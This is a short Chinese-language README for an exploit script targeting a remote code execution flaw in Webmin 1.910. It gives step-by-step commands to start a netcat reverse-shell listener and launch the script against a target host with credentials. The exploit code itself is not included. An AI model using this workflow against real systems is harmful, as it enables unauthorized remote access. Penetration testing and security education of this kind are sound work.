Webmin1.910_exploit

Webmin 1.910 远程代码执行漏洞利用

描述：

此仓库包含一个 Python 3 脚本，旨在利用 Webmin 1.910 版本中的远程代码执行漏洞。该脚本使用 session_login.cgi 端点进行身份验证并部署反向 Shell 载荷，从而获得对目标系统的远程访问权限。此漏洞利用脚本仅用于经授权的渗透测试和教育目的。

1. 在本地机器上启动监听器：

nc -lvnp <lport>

2. 使用以下命令运行脚本：

python3 webmin_exploit.py --rhost <target_ip> --lhost <your_ip> --lport <your_port> -u <username> -p <password>